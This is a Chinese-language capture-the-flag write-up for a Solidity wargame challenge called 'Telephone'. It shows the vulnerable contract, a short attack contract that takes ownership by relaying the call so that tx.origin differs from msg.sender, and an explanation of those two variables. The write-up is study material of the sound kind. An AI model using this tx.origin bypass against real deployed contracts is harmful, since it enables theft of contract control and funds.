Skip to main content

Telephone

题目源码

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Telephone {

address public owner;

constructor() public {
owner = msg.sender;
}

function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}

题目要求

这道题目要求获得合约的owner权限即可

题目分析

我们通过调用合约查询方法可以看到部署后的ownerplayer是不同的账号地址。我们需要成功调用changeOwner方法来修改合约的owner权限给playerchangeOwner方法中有tx.origin != msg.sender的判断。所以我们需要部署一个合约,通过合约调用目标合约即可满足tx.origin != msg.sender的检查

攻击步骤

  1. 实现以下攻击合约
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.6.0;

interface ITelephone {
function changeOwner(address _owner) external;
}

contract TelephoneAttack {
function attackChangeOwner(ITelephone _telephone,address _owner) external {
_telephone.changeOwner(_owner);
}
}
  1. 通过控制台分别获取题目合约地址和player地址
// 获取部署的题目合约地址
instance
// 获取player账号地址
player
  1. 调用attackChangeOwner方法,修改目标合约的owner

题目知识点

  1. msg.sender: 是指调用当前合约的地址,可能是用户账户地址或者是合约地址
  2. tx.origin: 只能是发起调用的用户钱包地址

当用户直接调用合约接口时tx.origin == msg.sender. 当用户调用 A 合约,A 合约再去调用 B 合约时。B 合约的msg.sender是 A 合约地址,tx.origin是用户钱包地址